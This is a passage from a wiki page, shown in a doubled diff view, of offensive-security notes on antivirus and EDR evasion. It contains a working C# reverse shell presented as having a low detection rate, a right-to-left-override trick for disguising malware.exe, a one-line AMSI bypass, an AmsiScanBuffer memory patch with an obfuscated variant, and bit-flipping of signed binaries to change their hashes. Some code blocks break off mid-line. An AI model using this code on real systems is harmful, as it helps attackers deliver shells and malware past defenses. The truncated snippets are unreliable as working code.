             Console.WriteLine(result);
         }
         }
         static int Add(int x, int y)
         static int Add(int x, int y)
         {
         {
Line 3,992: Line 3,073:
             return z;
             return z;
         }
         }
         // Dummy code inserted to confuse decompilers
         // Dummy code inserted to confuse decompilers
         static void Dummy1()
         static void Dummy1()
Line 4,023: Line 3,103:
             int z = 26;
             int z = 26;
         }
         }
         // Dummy code inserted to confuse decompilers
         // Dummy code inserted to confuse decompilers
         static void Dummy2()
         static void Dummy2()
Line 4,043: Line 3,122:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Metadata or unused code removal ===
=== Metadata or unused code removal ===


Eliminates unnecessary information from the code:  This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted.
Eliminates unnecessary information from the code:  This removes comments, debug symbols, attributes, annotations and other data that are not essential for execution1. For example, a class name can be stripped from its metadata or an unused method can be deleted.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program.
// You can use a tool like ConfuserEX (https://github.com/yck1509/ConfuserEx) to remove metadata and unused code from a C# program.
// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX:
// Here's an example command to obfuscate and remove metadata and unused code from a C# program using ConfuserEX:
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum
// Confuser.CLI.exe myprogram.exe -o obfuscated.exe -p mode=maximum
</syntaxhighlight>
</syntaxhighlight>


=== Opaque predicate insertion ===
=== Opaque predicate insertion ===


Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed.
Adds conditional statements that always evaluate to true or false but are hard to analyze. This creates branches in the code that are never taken but look plausible1. For example, an if statement can check if a prime number is divisible by two or if a string is equal to itself reversed.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 4,074: Line 3,144:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace OpaquePredicateInsertionExample
namespace OpaquePredicateInsertionExample
{
{
Line 4,086: Line 3,155:
             Console.WriteLine(result);
             Console.WriteLine(result);
         }
         }
         static int Add(int x, int y)
         static int Add(int x, int y)
         {
         {
Line 4,100: Line 3,168:
             return z;
             return z;
         }
         }
         // Opaque predicate inserted to confuse decompilers
         // Opaque predicate inserted to confuse decompilers
         static void OpaquePredicate()
         static void OpaquePredicate()
Line 4,137: Line 3,204:
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Anti-Debug ===
=== Anti-Debug ===


Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified.
Prevents debugging tools from attaching to the process. This detects and disables any attempts to debug or trace the program1. For example, an exception handler can terminate the process if a debugger is detected or a checksum can verify if any bytes have been modified.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">


using System;
using System;
Line 4,153: Line 3,216:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace AntiDebuggingExample
namespace AntiDebuggingExample
{
{
Line 4,170: Line 3,232:
             Console.WriteLine(result);
             Console.WriteLine(result);
         }
         }
         static int Add(int x, int y)
         static int Add(int x, int y)
         {
         {
Line 4,180: Line 3,241:
             return z;
             return z;
         }
         }
         // Check if a debugger is attached to the process
         // Check if a debugger is attached to the process
         static bool IsDebuggerAttached()
         static bool IsDebuggerAttached()
Line 4,197: Line 3,257:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Encryption ===
=== Encryption ===


This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2.
This transforms data into another form using a secret key that only authorized parties know. For example, a credit card number can be encrypted with AES algorithm and stored as ciphertext2.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 4,213: Line 3,269:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace StringEncryptionExample
namespace StringEncryptionExample
{
{
Line 4,223: Line 3,278:
             Console.WriteLine(secretMessage);
             Console.WriteLine(secretMessage);
         }
         }
         static string Decrypt(string encryptedMessage)
         static string Decrypt(string encryptedMessage)
         {
         {
Line 4,235: Line 3,289:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Tokenization ===
=== Tokenization ===


This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883.
This replaces data with random tokens that have no meaning by themselves but can be mapped back to their original values using a secure database. For example, an email address can be tokenized with UUIDs and stored as 123e4567-e89b-12d3-a456-4266141740002. Data masking: This replaces data with fake data that is identical in structure and data type. For example, a phone number 212-648-3399 can be replaced with another valid but fake phone number such as 567-499-37883.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
using System;
using System;
namespace TokenizationExample
namespace TokenizationExample
{
{
Line 4,256: Line 3,305:
             // Declare a variable with a tokenized name
             // Declare a variable with a tokenized name
             string v_a_r_i_a_b_l_e = "Hello, world!";
             string v_a_r_i_a_b_l_e = "Hello, world!";
             // Print the value of the variable
             // Print the value of the variable
             Console.WriteLine(v_a_r_i_a_b_l_e);
             Console.WriteLine(v_a_r_i_a_b_l_e);
Line 4,262: Line 3,310:
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


=== Byte shuffle ===
=== Byte shuffle ===


Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property .
Byte shuffle obfuscation is a technique to make data or code harder to read and understand by changing the order of the bytes that make up the data or code. This can be done to hide information, prevent reversing or protect intellectual property .


For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like " dHeorwllo", which does not make sense.
For example, if you have a text string like “Hello world”, you can represent it as a sequence of bytes in hexadecimal format: 48 65 6C 6C 6F 20 77 6F 72 6C 64. If you want to obfuscate this text by using byte shuffle obfuscation, you can swap some of the bytes randomly, for example: 20 64 48 65 6F 72 77 6C 6C 6F. If you try to read the new sequence as text, you get something like " dHeorwllo", which does not make sense.


For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable.
For byte shuffle obfuscation to work, there must be a way to restore the original order of the bytes when the data or code needs to be used. This can be done by using a key that indicates how the bytes were shuffled, or by using an algorithm that can reverse the process. Otherwise, the data or code will become unusable.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 4,284: Line 3,326:
using System.Text;
using System.Text;
using System.Threading.Tasks;
using System.Threading.Tasks;
namespace ByteShuffleObfuscationExample
namespace ByteShuffleObfuscationExample
{
{
Line 4,295: Line 3,336:
             Console.WriteLine(message);
             Console.WriteLine(message);
         }
         }
         static byte[] Shuffle(byte
         static byte[] Shuffle(byte
</syntaxhighlight>
</syntaxhighlight>


=== Example reverse shell using C# - Encryption and Byte shuffle ===
=== Example reverse shell using C# - Encryption and Byte shuffle ===


The obfuscated code have low detection rate.
The obfuscated code have low detection rate.


[[File:2023-03-image.png|thumb]]
[[File:2023-03-image.png|thumb]]


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 4,320: Line 3,355:
using System.Net;
using System.Net;
using System.Net.Sockets;
using System.Net.Sockets;


namespace ConnectBack
namespace ConnectBack
Line 4,327: Line 3,361:
{
{
static StreamWriter streamWriter;
static StreamWriter streamWriter;
public static void Main(string[] args)
public static void Main(string[] args)
{
{
Line 4,337: Line 3,370:
{
{
streamWriter = new StreamWriter(stream);
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
StringBuilder strInput = new StringBuilder();
Process p = new Process();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.FileName = "cmd.exe";
Line 4,350: Line 3,381:
p.Start();
p.Start();
p.BeginOutputReadLine();
p.BeginOutputReadLine();
while (true)
while (true)
{
{
Line 4,362: Line 3,392:
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
{
StringBuilder strOutput = new StringBuilder();
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
if (!String.IsNullOrEmpty(outLine.Data))
{
{
Line 4,378: Line 3,406:
}
}
}
}
}
}
}
}
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 4,393: Line 3,419:
using System.Security.Cryptography;
using System.Security.Cryptography;
using System.Text;
using System.Text;
namespace ConnectionBack
namespace ConnectionBack
{
{
Line 4,399: Line 3,424:
     {
     {
         static StreamWriter streamWriter;
         static StreamWriter streamWriter;
         public static void Main(string[] args)
         public static void Main(string[] args)
         {
         {
Line 4,412: Line 3,436:
             // Create a stream writer to write data to the stream
             // Create a stream writer to write data to the stream
             streamWriter = new StreamWriter(stream);
             streamWriter = new StreamWriter(stream);
             // Create a new process object
             // Create a new process object
             Process process = new Process();
             Process process = new Process();
Line 4,425: Line 3,448:
             process.StartInfo.RedirectStandardInput = true;
             process.StartInfo.RedirectStandardInput = true;
             process.StartInfo.RedirectStandardError = true;
             process.StartInfo.RedirectStandardError = true;
// Add an event handler for when data is received on standard output
// Add an event handler for when data is received on standard output
// This will send the output back to the remote host via stream writer
// This will send the output back to the remote host via stream writer
process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler);
process.OutputDataReceived += new DataReceivedEventHandler(CommandOutputDataHandler);
// Start the process
// Start the process
process.Start();
process.Start();
// Begin reading asynchronously from standard output
// Begin reading asynchronously from standard output
process.BeginOutputReadLine();
process.BeginOutputReadLine();
// Loop forever
// Loop forever
while (true)
while (true)
Line 4,449: Line 3,468:
}
}
         }
         }
         private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine)
         private static void CommandOutputDataHandler(object sendingProcess, DataReceivedEventArgs outputLine)
         {
         {
         // Create a string builder to store output
         // Create a string builder to store output
         StringBuilder output = new StringBuilder();
         StringBuilder output = new StringBuilder();
         // If there is some data received on standard output
         // If there is some data received on standard output
         if (!String.IsNullOrEmpty(outputLine.Data))
         if (!String.IsNullOrEmpty(outputLine.Data))
Line 4,468: Line 3,485:
         catch (Exception) { }
         catch (Exception) { }
</syntaxhighlight>
</syntaxhighlight>


== Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick ==
== Filename Obfuscation: RIGHT-TO-LEFT OVERRIDE Trick ==


https://twitter.com/DarkCoderSc/status/1686750813996097536?ref_src=twsrc%5Etfw
https://twitter.com/DarkCoderSc/status/1686750813996097536?ref_src=twsrc%5Etfw


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe)
rename-item -path malware.exe -newname ("Ann" + ([char]0x202E) + "gepj.exe)
</syntaxhighlight>
</syntaxhighlight>


[[File:2023-08-image.png|thumb]]
[[File:2023-08-image.png|thumb]]


----
----


= Signature Evasion =
= Signature Evasion =


== Signature Identification ==
== Signature Identification ==


When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further.
When identifying signatures, whether manually or automated, we must employ an iterative process to determine what byte a signature starts at. By recursively splitting a compiled binary in half and testing it, we can get a rough estimate of a byte-range to investigate further.


We can use the native utilities <code>head</code>, <code>dd</code>, or <code>split</code> to split a compiled binary. 
We can use the native utilities <code>head</code>, <code>dd</code>, or <code>split</code> to split a compiled binary. 


[[File:2023-06-image-3.png|thumb]]
[[File:2023-06-image-3.png|thumb]]


=== Automatic Signature Identification ===
=== Automatic Signature Identification ===


==== DefenderCheck ====
==== DefenderCheck ====


[https://github.com/matterpreter/DefenderCheck GitHub - matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.]
[https://github.com/matterpreter/DefenderCheck GitHub - matterpreter/DefenderCheck: Identifies the bytes that Microsoft Defender flags on.]


[[File:2023-06-demo.gif|thumb]]
[[File:2023-06-demo.gif|thumb]]


==== Find-AVSignature.ps1 ====
==== Find-AVSignature.ps1 ====


[https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1 PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub]
[https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1 PowerSploit/Find-AVSignature.ps1 at master · PowerShellMafia/PowerSploit · GitHub]


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
PS C:\> . .\FInd-AVSignature.ps1
PS C:\> . .\FInd-AVSignature.ps1
PS C:\> Find-AVSignature
PS C:\> Find-AVSignature
cmdlet Find-AVSignature at command pipeline position 1
cmdlet Find-AVSignature at command pipeline position 1
Supply values for the following parameters:
Supply values for the following parameters:
Line 4,529: Line 3,528:
EndByte: max
EndByte: max
Interval: 1000
Interval: 1000
Do you want to continue?
Do you want to continue?
This script will result in 1 binaries being written to "C:\Users\TryHackMe"!
This script will result in 1 binaries being written to "C:\Users\TryHackMe"!
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y
</syntaxhighlight>
</syntaxhighlight>


==== ThreatCheck ====
==== ThreatCheck ====


ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable.
ThreatCheck is a fork of DefenderCheck and is arguably the most widely used/reliable.


[https://github.com/rasta-mouse/ThreatCheck GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.]
[https://github.com/rasta-mouse/ThreatCheck GitHub - rasta-mouse/ThreatCheck: Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.]


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 4,567: Line 3,561:
000000F0  00 73 00 61 00 67 00 65  00 22 00 3A 00 22 00 7B  ·s·a·g·e·"·:·"·{
000000F0  00 73 00 61 00 67 00 65  00 22 00 3A 00 22 00 7B  ·s·a·g·e·"·:·"·{
</syntaxhighlight>
</syntaxhighlight>


==== AmsiTrigger ====
==== AmsiTrigger ====


[https://github.com/RythmStick/AMSITrigger GitHub - RythmStick/AMSITrigger: The Hunt for Malicious Strings]
[https://github.com/RythmStick/AMSITrigger GitHub - RythmStick/AMSITrigger: The Hunt for Malicious Strings]


AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does.
AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3
PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
</syntaxhighlight>
</syntaxhighlight>


== Static Code-Based Signatures ==
== Static Code-Based Signatures ==


Once we have identified a troublesome signature we need to decide how we want to deal with it. 
Once we have identified a troublesome signature we need to decide how we want to deal with it. 


'''Obfuscating methods'''
'''Obfuscating methods'''


{| class="wikitable"
{| class="wikitable"
Line 4,608: Line 3,593:
| Create replicas of a method and randomly call each
| Create replicas of a method and randomly call each
|}
|}


'''Obfuscating Classes'''
'''Obfuscating Classes'''


{| class="wikitable"
{| class="wikitable"
Line 4,627: Line 3,610:
| Remove class modifiers (public, private) and make all members public
| Remove class modifiers (public, private) and make all members public
|}
|}


=== Splitting and Merging Objects ===
=== Splitting and Merging Objects ===


The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality.
The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality.


[https://offensivedefence.co.uk/posts/covenant-profiles-templates/ Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV - Offensive Defence]
[https://offensivedefence.co.uk/posts/covenant-profiles-templates/ Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV - Offensive Defence]


'''Original String'''
'''Original String'''


Below is the original string that is detected
Below is the original string that is detected


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
</syntaxhighlight>
</syntaxhighlight>


'''Obfuscated Method'''
'''Obfuscated Method'''


Below is the new class used to replace and concatenate the string.
Below is the new class used to replace and concatenate the string.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 4,669: Line 3,643:
     }
     }
}
}
string MessageFormat = GetMessageFormat
string MessageFormat = GetMessageFormat
</syntaxhighlight>
</syntaxhighlight>


=== Removing and Obscuring Identifiable Information ===
=== Removing and Obscuring Identifiable Information ===


The process of removing or obscuring identifiable information to protect privacy and maintain anonymity.
The process of removing or obscuring identifiable information to protect privacy and maintain anonymity.


In the task below AmsiTrigger detected that "AmsiScanBuffer" is triggered. So we have to obfuscate it.
In the task below AmsiTrigger detected that "AmsiScanBuffer" is triggered. So we have to obfuscate it.


'''Original'''
'''Original'''


This code loads the <code>Kernel32</code> type, retrieves the address of the <code>AmsiScanBuffer</code> function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective.
This code loads the <code>Kernel32</code> type, retrieves the address of the <code>AmsiScanBuffer</code> function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective.


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
$MethodDefinition = "
$MethodDefinition = "
     [DllImport(`"kernel32`")]
     [DllImport(`"kernel32`")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport(`"kernel32`")]
     [DllImport(`"kernel32`")]
     public static extern IntPtr GetModuleHandle(string lpModuleName);
     public static extern IntPtr GetModuleHandle(string lpModuleName);
     [DllImport(`"kernel32`")]
     [DllImport(`"kernel32`")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "AmsiScanBuffer"
$A = "AmsiScanBuffer"
Line 4,711: Line 3,674:
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
</syntaxhighlight>
</syntaxhighlight>


'''Obscured'''
'''Obscured'''


<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
$MethodDefinition = "
$MethodDefinition = "
     [DllImport(`"kernel32`")]
     [DllImport(`"kernel32`")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport(`"kernel32`")]
     [DllImport(`"kernel32`")]
     public static extern IntPtr GetModuleHandle(string lpModuleName);
     public static extern IntPtr GetModuleHandle(string lpModuleName);
     [DllImport(`"kernel32`")]
     [DllImport(`"kernel32`")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join ''
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join ''
Line 4,741: Line 3,697:
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);
</syntaxhighlight>
</syntaxhighlight>


== Static Property-Based Signatures ==
== Static Property-Based Signatures ==


Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma.
Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma.


=== File hashes ===
=== File hashes ===


A '''file hash''', also known as a '''checksum''', is used to tag/identify a unique file. 
A '''file hash''', also known as a '''checksum''', is used to tag/identify a unique file. 


If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash. 
If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash. 


When dealing with a signed or closed-source application, we must employ '''bit-flipping'''.
When dealing with a signed or closed-source application, we must employ '''bit-flipping'''.


Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality.
Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality.


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
using System;
using System;
using System.IO;
using System.IO;
class Program
class Program
{
{
Line 4,776: Line 3,722:
     {
     {
         byte[] orig = File.ReadAllBytes(args[0]);
         byte[] orig = File.ReadAllBytes(args[0]);
         for (int i = 0; i < orig.Length; i++)
         for (int i = 0; i < orig.Length; i++)
         {
         {
Line 4,783: Line 3,728:
             current[i] = (byte)(current[i] ^ 0xde);
             current[i] = (byte)(current[i] ^ 0xde);
             string path = $"{i}.exe";
             string path = $"{i}.exe";
             File.WriteAllBytes(path, current);
             File.WriteAllBytes(path, current);
         }
         }
         Console.WriteLine("done");
         Console.WriteLine("done");
     }
     }
}
}
</syntaxhighlight>
</syntaxhighlight>


This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (<code>i.exe</code>). The <code>^</code> operator is used for bitwise XOR operation to flip the bits. Finally, it prints "done" when the process is completed.
This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (<code>i.exe</code>). The <code>^</code> operator is used for bitwise XOR operation to flip the bits. Finally, it prints "done" when the process is completed.


Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping <code>msbuild</code>, we need to use <code>signtool</code> to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution.
Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping <code>msbuild</code>, we need to use <code>signtool</code> to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution.


We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation.
We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation.


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 4,808: Line 3,746:
)
)
</syntaxhighlight>
</syntaxhighlight>


=== Entropy ===
=== Entropy ===


Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators.
Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators.


[[File:2023-06-image-5.png|thumb]]
[[File:2023-06-image-5.png|thumb]]


== Behavioral Signatures ==
== Behavioral Signatures ==


Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header.
Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header.


[https://learn.microsoft.com/en-us/windows/win32/api/_winsock/ Windows Sockets 2 - Win32 apps | Microsoft Learn]
[https://learn.microsoft.com/en-us/windows/win32/api/_winsock/ Windows Sockets 2 - Win32 apps | Microsoft Learn]


Find Syntax for API calls
Find Syntax for API calls


=== How to inspect Import Address Table (IAT) ===
=== How to inspect Import Address Table (IAT) ===


==== .EXE ====
==== .EXE ====


To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples:
To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples:


* Using Dependency Walker (Windows):
* Using Dependency Walker (Windows):


* Download and install Dependency Walker from the official website: http://www.dependencywalker.com/
* Download and install Dependency Walker from the official website: http://www.dependencywalker.com/


* Launch Dependency Walker and open the EXE file you want to inspect.
* Launch Dependency Walker and open the EXE file you want to inspect.


* It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT.
* It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT.


* Using PEView (Windows):
* Using PEView (Windows):


* Download and install PEView from the official website: http://wjradburn.com/software/
* Download and install PEView from the official website: http://wjradburn.com/software/


* Launch PEView and open the EXE file you want to inspect.
* Launch PEView and open the EXE file you want to inspect.


* Navigate to the "Imported DLLs" section, which will show the imported functions and the corresponding DLLs in the IAT.
* Navigate to the "Imported DLLs" section, which will show the imported functions and the corresponding DLLs in the IAT.


* Using objdump (Linux):
* Using objdump (Linux):


* Open a terminal and navigate to the directory where the EXE file is located.
* Open a terminal and navigate to the directory where the EXE file is located.


* Run the following command to display the IAT:
* Run the following command to display the IAT:


* <code>objdump -p <binary_file> </code>
* <code>objdump -p <binary_file> </code>


* Replace <code><binary_file></code> with the name of your EXE file.
* Replace <code><binary_file></code> with the name of your EXE file.


* Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
* Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.


     2. Using PE Explorer
     2. Using PE Explorer


[http://www.pe-explorer.com/ PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)]
[http://www.pe-explorer.com/ PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)]


     3. Using IDA Pro
     3. Using IDA Pro


* Load the PE binary
* Load the PE binary


* Once loaded, click on the "Imports" tab.
* Once loaded, click on the "Imports" tab.


* Look for the API calls.
* Look for the API calls.


[[File:2023-06-Skjermbilde-2023-06-12-135458.png|thumb]]
[[File:2023-06-Skjermbilde-2023-06-12-135458.png|thumb]]


==== .ELF ====
==== .ELF ====


To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples:
